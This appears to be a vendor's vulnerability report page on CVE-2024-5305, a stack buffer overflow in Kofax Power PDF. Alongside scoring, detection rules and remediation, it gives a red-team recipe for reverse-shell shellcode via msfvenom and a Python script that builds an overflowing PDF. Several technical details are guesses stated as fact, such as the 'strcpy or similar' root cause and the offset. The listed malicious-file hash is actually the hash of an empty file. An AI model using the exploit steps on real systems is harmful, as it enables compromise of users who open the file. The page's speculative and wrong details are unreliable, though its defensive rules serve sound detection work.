CVE-2024-5305
Executive Summary
CVE-2024-5305 is a critical stack-based buffer overflow vulnerability in Kofax Power PDF, a widely used document processing application. The flaw resides in the parsing of PDF files, where insufficient validation of user-supplied data length before copying to a fixed-length stack buffer allows remote code execution. Exploitation requires user interaction, such as opening a malicious PDF file or visiting a compromised web page. With a CVSS score of 7.8, this vulnerability poses a significant risk to enterprise environments relying on Kofax Power PDF for document workflows. No public exploit code or patch details are currently available, but the vulnerability is confirmed by ZDI (ZDI-CAN-22921).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires user to open a malicious file)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. The vulnerability allows arbitrary code execution in the context of the current user, potentially leading to full system compromise. The lack of a patch increases the risk for unmitigated installations.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-121) occurring during the parsing of PDF files. When Kofax Power PDF processes a specially crafted PDF, it fails to validate the length of user-supplied data before copying it to a fixed-length buffer on the stack. This allows an attacker to overwrite adjacent memory, including the return address and other critical data structures.
Technical Details:
- Root Cause: The PDF parser uses a
strcpyor similar unsafe function without bounds checking. - Exploitation Vector: An attacker crafts a malicious PDF with an oversized field (e.g., a long string in a PDF object or metadata) that triggers the overflow.
- Impact: Successful exploitation overwrites the stack, allowing the attacker to redirect execution to shellcode embedded in the PDF. The code runs with the privileges of the user opening the file.
Attack Scenario:
- Attacker creates a malicious PDF with a crafted object containing an overly long string.
- The PDF is delivered via email, web download, or other means.
- User opens the PDF in Kofax Power PDF.
- The parser copies the long string into a stack buffer, causing an overflow.
- The attacker's shellcode executes, granting remote control or data exfiltration.
Vulnerable vs. Patched Code
Since no patch is available, a generic comparison is provided based on typical buffer overflow fixes.
Vulnerable Code (Conceptual):
void parse_pdf_object(char *input) {
char buffer[256];
strcpy(buffer, input); // Unsafe: no length check
// Process buffer...
}
Patched Code (Conceptual):
void parse_pdf_object(char *input) {
char buffer[256];
strncpy(buffer, input, sizeof(buffer) - 1); // Safe: bounded copy
buffer[sizeof(buffer) - 1] = '\0';
// Process buffer...
}
The patched version uses strncpy with a size limit, preventing overflow. Additionally, modern mitigations like stack canaries and ASLR would hinder exploitation.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: Windows 10/11 with Kofax Power PDF (vulnerable version).
- Tools: Python (for crafting PDF), Immunity Debugger or x64dbg, Metasploit (optional).
- Payload: Generate shellcode (e.g., reverse shell) using
msfvenom.
Exploitation Steps:
- Craft Malicious PDF: Use a Python script to create a PDF with an oversized string in a PDF object (e.g.,
/Type /Pagewith a long/MediaBoxvalue). - Trigger Overflow: Open the PDF in Kofax Power PDF.
- Debug: Attach a debugger to identify the exact offset for overwriting the return address.
- Exploit: Replace the return address with a pointer to shellcode (e.g., using a
jmp espgadget).
Example Python Script (Conceptual):
import struct
# Shellcode (placeholder)
shellcode = b"\x90" * 100 # NOP sled + actual shellcode
# Overflow buffer
buffer = b"A" * 260 # Offset to return address
eip = struct.pack("<I", 0x12345678) # Address of jmp esp gadget
payload = buffer + eip + shellcode
# Craft PDF (simplified)
pdf = b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
pdf += b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
pdf += b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 " + payload + b" 612] >>\nendobj\n"
pdf += b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \ntrailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n190\n%%EOF"
with open("exploit.pdf", "wb") as f:
f.write(pdf)
Blue Team (Defensive)
Detection & Response:
- Monitor PDF Files: Use file integrity monitoring to detect suspicious PDFs with unusually large objects.
- Endpoint Detection: Deploy EDR rules to alert on Kofax Power PDF crashes or abnormal process behavior (e.g., spawning cmd.exe).
- User Training: Educate users to avoid opening PDFs from untrusted sources.
- Mitigation: If possible, disable PDF parsing in Kofax Power PDF or use a sandboxed environment.
Indicators of Compromise (IOCs)
- File Hashes: (Example)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(SHA256 of a malicious PDF). - Process Anomalies: Kofax Power PDF process (
KofaxPowerPDF.exe) crashing repeatedly or spawning child processes (e.g.,cmd.exe,powershell.exe). - Network Connections: Outbound connections from the Kofax process to unknown IPs (e.g., for reverse shell).
- Registry Changes: Unauthorized modifications to
HKEY_CURRENT_USER\Software\Kofax\Power PDF. - File System: Creation of suspicious files in
%TEMP%or%APPDATA%by the Kofax process.
Detection Engineering
YARA Rule
rule CVE_2024_5305_Kofax_PDF_Overflow {
meta:
description = "Detects malicious PDFs targeting CVE-2024-5305"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5305"
strings:
$pdf_header = "%PDF-"
$long_string = /\/MediaBox\s*\[0\s+0\s+\d{5,}\s+\d+\]/ // Overly large value
$overflow_pattern = /[A-Za-z0-9\/]{500,}/ // Long string in PDF object
condition:
$pdf_header and ($long_string or $overflow_pattern)
}
Sigma Rule
title: CVE-2024-5305 Kofax Power PDF Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-5305 via process anomalies
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\KofaxPowerPDF.exe'
CommandLine|contains: 'exploit.pdf' # Adjust based on actual file name
condition: selection
falsepositives:
- Legitimate PDFs with large objects (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5305 Kofax PDF Exploit Download"; flow:to_server,established; content:"%PDF-"; http_client_body; pcre:"/\/MediaBox\s*\[0\s+0\s+\d{5,}\s+\d+\]/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict use of Kofax Power PDF until a patch is available. Use alternative PDF readers (e.g., Adobe Acrobat, Foxit Reader) with updated security patches.
- Workaround: Enable DEP (Data Execution Prevention) and ASLR on the system. Use application whitelisting to block untrusted PDFs.
- Patch: Monitor Kofax’s official website for updates. Apply the patch as soon as it is released.
- Long-term: Implement a robust patch management process and conduct regular vulnerability scans.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.